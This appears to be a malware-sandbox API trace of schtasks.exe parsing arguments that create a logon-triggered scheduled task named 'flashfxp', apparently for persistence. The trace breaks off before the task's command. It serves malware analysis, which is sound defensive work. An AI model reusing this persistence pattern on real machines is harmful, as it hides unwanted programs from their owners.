0x7fefbe30000 [0163.874] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0163.874] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0163.875] GetProcessHeap () returned 0x310000 [0163.875] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x74e) returned 0x32c1a0 [0163.875] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0163.875] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x32c1a0 | out: lpData=0x32c1a0) returned 1 [0163.876] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0163.876] VerQueryValueW (in: pBlock=0x32c1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11f4a8, puLen=0x11f510 | out: lplpBuffer=0x11f4a8*=0x32c53c, puLen=0x11f510) returned 1 [0163.879] _memicmp (_Buf1=0x32ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.879] _vsnwprintf (in: _Buffer=0x32bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11f488 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0163.879] VerQueryValueW (in: pBlock=0x32c1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11f518, puLen=0x11f508 | out: lplpBuffer=0x11f518*=0x32c368, puLen=0x11f508) returned 1 [0163.879] lstrlenW (lpString="schtasks.exe") returned 12 [0163.879] lstrlenW (lpString="schtasks.exe") returned 12 [0163.879] lstrlenW (lpString=".EXE") returned 4 [0163.879] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0163.880] lstrlenW (lpString="schtasks.exe") returned 12 [0163.880] lstrlenW (lpString=".EXE") returned 4 [0163.880] _memicmp (_Buf1=0x32ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.880] lstrlenW (lpString="schtasks") returned 8 [0163.880] GetProcessHeap () returned 0x310000 [0163.880] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x325d50 [0163.880] GetProcessHeap () returned 0x310000 [0163.880] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cab0 [0163.881] GetProcessHeap () returned 0x310000 [0163.881] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cae0 [0163.881] GetProcessHeap () returned 0x310000 [0163.881] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cb10 [0163.881] GetProcessHeap () returned 0x310000 [0163.881] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32ba70 [0163.881] _memicmp (_Buf1=0x32ba70, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.881] GetProcessHeap () returned 0x310000 [0163.881] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xa0) returned 0x32bff0 [0163.881] GetProcessHeap () returned 0x310000 [0163.881] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cb40 [0163.881] GetProcessHeap () returned 0x310000 [0163.881] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cb70 [0163.881] GetProcessHeap () returned 0x310000 [0163.881] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cba0 [0163.881] GetProcessHeap () returned 0x310000 [0163.881] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32ba90 [0163.881] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.881] GetProcessHeap () returned 0x310000 [0163.881] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x200) returned 0x32d280 [0163.881] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0163.882] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0163.882] GetProcessHeap () returned 0x310000 [0163.882] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x30) returned 0x327a50 [0163.882] _vsnwprintf (in: _Buffer=0x32bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11f488 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0163.882] GetProcessHeap () returned 0x310000 [0163.882] GetProcessHeap () returned 0x310000 [0163.882] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1a0) returned 1 [0163.882] GetProcessHeap () returned 0x310000 [0163.882] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c1a0) returned 0x74e [0163.882] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1a0 | out: hHeap=0x310000) returned 1 [0163.882] SetLastError (dwErrCode=0x0) [0163.883] GetThreadLocale () returned 0x409 [0163.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.883] lstrlenW (lpString="?") returned 1 [0163.883] GetThreadLocale () returned 0x409 [0163.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.883] lstrlenW (lpString="create") returned 6 [0163.883] GetThreadLocale () returned 0x409 [0163.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.883] lstrlenW (lpString="delete") returned 6 [0163.883] GetThreadLocale () returned 0x409 [0163.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.883] lstrlenW (lpString="query") returned 5 [0163.883] GetThreadLocale () returned 0x409 [0163.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.883] lstrlenW (lpString="change") returned 6 [0163.883] GetThreadLocale () returned 0x409 [0163.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.883] lstrlenW (lpString="run") returned 3 [0163.883] GetThreadLocale () returned 0x409 [0163.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.883] lstrlenW (lpString="end") returned 3 [0163.883] GetThreadLocale () returned 0x409 [0163.883] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.883] lstrlenW (lpString="showsid") returned 7 [0163.884] GetThreadLocale () returned 0x409 [0163.884] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.884] SetLastError (dwErrCode=0x0) [0163.884] SetLastError (dwErrCode=0x0) [0163.884] lstrlenW (lpString="/create") returned 7 [0163.884] lstrlenW (lpString="-/") returned 2 [0163.884] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.884] lstrlenW (lpString="?") returned 1 [0163.884] lstrlenW (lpString="?") returned 1 [0163.884] GetProcessHeap () returned 0x310000 [0163.884] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32c1a0 [0163.884] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.884] GetProcessHeap () returned 0x310000 [0163.884] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xa) returned 0x32c1c0 [0163.884] lstrlenW (lpString="create") returned 6 [0163.884] GetProcessHeap () returned 0x310000 [0163.884] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32c1e0 [0163.884] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.884] GetProcessHeap () returned 0x310000 [0163.884] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x14) returned 0x32c200 [0163.884] _vsnwprintf (in: _Buffer=0x32c1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|?|") returned 3 [0163.884] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|create|") returned 8 [0163.884] lstrlenW (lpString="|?|") returned 3 [0163.884] lstrlenW (lpString="|create|") returned 8 [0163.884] SetLastError (dwErrCode=0x490) [0163.884] lstrlenW (lpString="create") returned 6 [0163.884] lstrlenW (lpString="create") returned 6 [0163.884] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.884] GetProcessHeap () returned 0x310000 [0163.885] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c1c0) returned 1 [0163.885] GetProcessHeap () returned 0x310000 [0163.885] RtlReAllocateHeap (Heap=0x310000, Flags=0xc, Ptr=0x32c1c0, Size=0x14) returned 0x32c220 [0163.885] lstrlenW (lpString="create") returned 6 [0163.885] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.885] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|create|") returned 8 [0163.885] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|create|") returned 8 [0163.885] lstrlenW (lpString="|create|") returned 8 [0163.885] lstrlenW (lpString="|create|") returned 8 [0163.885] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0163.885] SetLastError (dwErrCode=0x0) [0163.885] SetLastError (dwErrCode=0x0) [0163.885] SetLastError (dwErrCode=0x0) [0163.885] lstrlenW (lpString="/tn") returned 3 [0163.885] lstrlenW (lpString="-/") returned 2 [0163.885] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.885] lstrlenW (lpString="?") returned 1 [0163.885] lstrlenW (lpString="?") returned 1 [0163.885] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.885] lstrlenW (lpString="tn") returned 2 [0163.885] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.885] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|?|") returned 3 [0163.885] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tn|") returned 4 [0163.885] lstrlenW (lpString="|?|") returned 3 [0163.885] lstrlenW (lpString="|tn|") returned 4 [0163.885] SetLastError (dwErrCode=0x490) [0163.885] lstrlenW (lpString="create") returned 6 [0163.885] lstrlenW (lpString="create") returned 6 [0163.886] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.886] lstrlenW (lpString="tn") returned 2 [0163.886] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.886] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|create|") returned 8 [0163.886] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tn|") returned 4 [0163.886] lstrlenW (lpString="|create|") returned 8 [0163.886] lstrlenW (lpString="|tn|") returned 4 [0163.886] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0163.886] SetLastError (dwErrCode=0x490) [0163.886] lstrlenW (lpString="delete") returned 6 [0163.886] lstrlenW (lpString="delete") returned 6 [0163.886] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.886] lstrlenW (lpString="tn") returned 2 [0163.886] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.886] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|delete|") returned 8 [0163.886] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tn|") returned 4 [0163.886] lstrlenW (lpString="|delete|") returned 8 [0163.886] lstrlenW (lpString="|tn|") returned 4 [0163.886] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0163.887] SetLastError (dwErrCode=0x490) [0163.887] lstrlenW (lpString="query") returned 5 [0163.887] lstrlenW (lpString="query") returned 5 [0163.887] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.887] lstrlenW (lpString="tn") returned 2 [0163.887] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.887] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|query|") returned 7 [0163.887] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tn|") returned 4 [0163.887] lstrlenW (lpString="|query|") returned 7 [0163.887] lstrlenW (lpString="|tn|") returned 4 [0163.887] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0163.887] SetLastError (dwErrCode=0x490) [0163.887] lstrlenW (lpString="change") returned 6 [0163.887] lstrlenW (lpString="change") returned 6 [0163.887] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.887] lstrlenW (lpString="tn") returned 2 [0163.887] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.887] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|change|") returned 8 [0163.887] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tn|") returned 4 [0163.887] lstrlenW (lpString="|change|") returned 8 [0163.887] lstrlenW (lpString="|tn|") returned 4 [0163.887] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0163.887] SetLastError (dwErrCode=0x490) [0163.887] lstrlenW (lpString="run") returned 3 [0163.887] lstrlenW (lpString="run") returned 3 [0163.887] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.887] lstrlenW (lpString="tn") returned 2 [0163.887] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.888] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|run|") returned 5 [0163.888] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tn|") returned 4 [0163.888] lstrlenW (lpString="|run|") returned 5 [0163.888] lstrlenW (lpString="|tn|") returned 4 [0163.888] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0163.888] SetLastError (dwErrCode=0x490) [0163.888] lstrlenW (lpString="end") returned 3 [0163.888] lstrlenW (lpString="end") returned 3 [0163.888] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.888] lstrlenW (lpString="tn") returned 2 [0163.888] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.888] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|end|") returned 5 [0163.888] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tn|") returned 4 [0163.888] lstrlenW (lpString="|end|") returned 5 [0163.888] lstrlenW (lpString="|tn|") returned 4 [0163.888] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0163.888] SetLastError (dwErrCode=0x490) [0163.888] lstrlenW (lpString="showsid") returned 7 [0163.888] lstrlenW (lpString="showsid") returned 7 [0163.888] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.888] GetProcessHeap () returned 0x310000 [0163.888] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c220) returned 1 [0163.888] GetProcessHeap () returned 0x310000 [0163.888] RtlReAllocateHeap (Heap=0x310000, Flags=0xc, Ptr=0x32c220, Size=0x16) returned 0x32c220 [0163.888] lstrlenW (lpString="tn") returned 2 [0163.888] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.889] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|showsid|") returned 9 [0163.889] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tn|") returned 4 [0163.889] lstrlenW (lpString="|showsid|") returned 9 [0163.889] lstrlenW (lpString="|tn|") returned 4 [0163.889] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0163.889] SetLastError (dwErrCode=0x490) [0163.889] SetLastError (dwErrCode=0x490) [0163.889] SetLastError (dwErrCode=0x0) [0163.889] lstrlenW (lpString="/tn") returned 3 [0163.889] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0163.889] SetLastError (dwErrCode=0x490) [0163.889] SetLastError (dwErrCode=0x0) [0163.889] lstrlenW (lpString="/tn") returned 3 [0163.889] GetProcessHeap () returned 0x310000 [0163.889] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32c1c0 [0163.889] GetProcessHeap () returned 0x310000 [0163.889] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cbd0 [0163.889] SetLastError (dwErrCode=0x0) [0163.889] SetLastError (dwErrCode=0x0) [0163.889] lstrlenW (lpString="flashfxp") returned 8 [0163.889] lstrlenW (lpString="-/") returned 2 [0163.889] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0163.889] SetLastError (dwErrCode=0x490) [0163.889] SetLastError (dwErrCode=0x490) [0163.889] SetLastError (dwErrCode=0x0) [0163.889] lstrlenW (lpString="flashfxp") returned 8 [0163.889] StrChrIW (lpStart="flashfxp", wMatch=0x3a) returned 0x0 [0163.889] SetLastError (dwErrCode=0x490) [0163.889] SetLastError (dwErrCode=0x0) [0163.889] lstrlenW (lpString="flashfxp") returned 8 [0163.890] GetProcessHeap () returned 0x310000 [0163.890] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x12) returned 0x32d4c0 [0163.890] GetProcessHeap () returned 0x310000 [0163.890] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc00 [0163.890] SetLastError (dwErrCode=0x0) [0163.890] SetLastError (dwErrCode=0x0) [0163.890] lstrlenW (lpString="/sc") returned 3 [0163.890] lstrlenW (lpString="-/") returned 2 [0163.890] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.890] lstrlenW (lpString="?") returned 1 [0163.890] lstrlenW (lpString="?") returned 1 [0163.890] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.890] lstrlenW (lpString="sc") returned 2 [0163.890] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.890] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|?|") returned 3 [0163.890] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|sc|") returned 4 [0163.890] lstrlenW (lpString="|?|") returned 3 [0163.890] lstrlenW (lpString="|sc|") returned 4 [0163.890] SetLastError (dwErrCode=0x490) [0163.890] lstrlenW (lpString="create") returned 6 [0163.890] lstrlenW (lpString="create") returned 6 [0163.890] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.890] lstrlenW (lpString="sc") returned 2 [0163.890] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.890] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|create|") returned 8 [0163.890] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|sc|") returned 4 [0163.890] lstrlenW (lpString="|create|") returned 8 [0163.890] lstrlenW (lpString="|sc|") returned 4 [0163.891] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0163.891] SetLastError (dwErrCode=0x490) [0163.891] lstrlenW (lpString="delete") returned 6 [0163.891] lstrlenW (lpString="delete") returned 6 [0163.891] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.891] lstrlenW (lpString="sc") returned 2 [0163.891] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.891] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|delete|") returned 8 [0163.891] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|sc|") returned 4 [0163.891] lstrlenW (lpString="|delete|") returned 8 [0163.891] lstrlenW (lpString="|sc|") returned 4 [0163.891] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0163.891] SetLastError (dwErrCode=0x490) [0163.891] lstrlenW (lpString="query") returned 5 [0163.891] lstrlenW (lpString="query") returned 5 [0163.891] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.891] lstrlenW (lpString="sc") returned 2 [0163.891] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.891] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|query|") returned 7 [0163.891] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|sc|") returned 4 [0163.891] lstrlenW (lpString="|query|") returned 7 [0163.891] lstrlenW (lpString="|sc|") returned 4 [0163.891] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0163.891] SetLastError (dwErrCode=0x490) [0163.891] lstrlenW (lpString="change") returned 6 [0163.891] lstrlenW (lpString="change") returned 6 [0163.891] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.892] lstrlenW (lpString="sc") returned 2 [0163.892] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.892] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|change|") returned 8 [0163.892] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|sc|") returned 4 [0163.892] lstrlenW (lpString="|change|") returned 8 [0163.892] lstrlenW (lpString="|sc|") returned 4 [0163.892] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0163.892] SetLastError (dwErrCode=0x490) [0163.892] lstrlenW (lpString="run") returned 3 [0163.892] lstrlenW (lpString="run") returned 3 [0163.892] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.892] lstrlenW (lpString="sc") returned 2 [0163.892] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.892] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|run|") returned 5 [0163.892] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|sc|") returned 4 [0163.892] lstrlenW (lpString="|run|") returned 5 [0163.892] lstrlenW (lpString="|sc|") returned 4 [0163.892] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0163.892] SetLastError (dwErrCode=0x490) [0163.892] lstrlenW (lpString="end") returned 3 [0163.892] lstrlenW (lpString="end") returned 3 [0163.892] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.892] lstrlenW (lpString="sc") returned 2 [0163.892] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.892] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|end|") returned 5 [0163.892] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|sc|") returned 4 [0163.892] lstrlenW (lpString="|end|") returned 5 [0163.893] lstrlenW (lpString="|sc|") returned 4 [0163.893] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0163.893] SetLastError (dwErrCode=0x490) [0163.893] lstrlenW (lpString="showsid") returned 7 [0163.893] lstrlenW (lpString="showsid") returned 7 [0163.893] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.893] lstrlenW (lpString="sc") returned 2 [0163.893] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.893] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|showsid|") returned 9 [0163.893] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|sc|") returned 4 [0163.893] lstrlenW (lpString="|showsid|") returned 9 [0163.893] lstrlenW (lpString="|sc|") returned 4 [0163.893] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0163.893] SetLastError (dwErrCode=0x490) [0163.893] SetLastError (dwErrCode=0x490) [0163.893] SetLastError (dwErrCode=0x0) [0163.893] lstrlenW (lpString="/sc") returned 3 [0163.893] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0163.893] SetLastError (dwErrCode=0x490) [0163.893] SetLastError (dwErrCode=0x0) [0163.893] lstrlenW (lpString="/sc") returned 3 [0163.893] GetProcessHeap () returned 0x310000 [0163.893] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32dc90 [0163.893] GetProcessHeap () returned 0x310000 [0163.893] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc30 [0163.893] SetLastError (dwErrCode=0x0) [0163.893] SetLastError (dwErrCode=0x0) [0163.893] lstrlenW (lpString="ONLOGON") returned 7 [0163.893] lstrlenW (lpString="-/") returned 2 [0163.893] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0163.894] SetLastError (dwErrCode=0x490) [0163.894] SetLastError (dwErrCode=0x490) [0163.894] SetLastError (dwErrCode=0x0) [0163.894] lstrlenW (lpString="ONLOGON") returned 7 [0163.894] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0163.894] SetLastError (dwErrCode=0x490) [0163.894] SetLastError (dwErrCode=0x0) [0163.894] lstrlenW (lpString="ONLOGON") returned 7 [0163.894] GetProcessHeap () returned 0x310000 [0163.894] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32d4e0 [0163.894] GetProcessHeap () returned 0x310000 [0163.894] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc60 [0163.894] SetLastError (dwErrCode=0x0) [0163.894] SetLastError (dwErrCode=0x0) [0163.894] lstrlenW (lpString="/tr") returned 3 [0163.894] lstrlenW (lpString="-/") returned 2 [0163.894] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.894] lstrlenW (lpString="?") returned 1 [0163.894] lstrlenW (lpString="?") returned 1 [0163.894] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.894] lstrlenW (lpString="tr") returned 2 [0163.894] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.894] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|?|") returned 3 [0163.894] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f498 | out: _Buffer="|tr|") returned 4 